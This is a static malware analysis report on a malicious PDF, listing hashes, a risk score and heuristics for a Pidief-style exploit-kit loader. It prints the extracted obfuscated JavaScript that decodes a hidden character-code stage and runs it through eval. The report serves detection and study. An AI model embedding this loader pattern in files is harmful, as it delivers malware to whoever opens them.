Malicious PDF — malware analysis report

Static analysis result for SHA-256 b938e095ff38fcda…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-08
MD5: 5304dc707e99c75811c3c1f424b2b791 SHA-1: f71f6cbffce2759c606fdf535102a51538230c0b SHA-256: b938e095ff38fcda10b39d1b10e24da8b24d4cfc75506f83d31afca3b250c848
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF9B 444 bytes
SHA-256: 683160c74d325aa6c7e6fe34d1dbda50f4e717de6e11044e8b4db0332a96d856
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
vkugk='';
ysoi=('qwrwqr','tit');
e('qcc=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
kbao=e('String.fr'+qcc.substr(0,10));
zjry = e(qcc.substr(10)['replace'](/u/g,','));
e('k=zjry.length');
for (i = 0; i < k; i+=2) {
	eeo = zjry[i+1] + ('erybjkerl',zjry[i]);
	vkugk += kbao(eeo);
}
e(vkugk);

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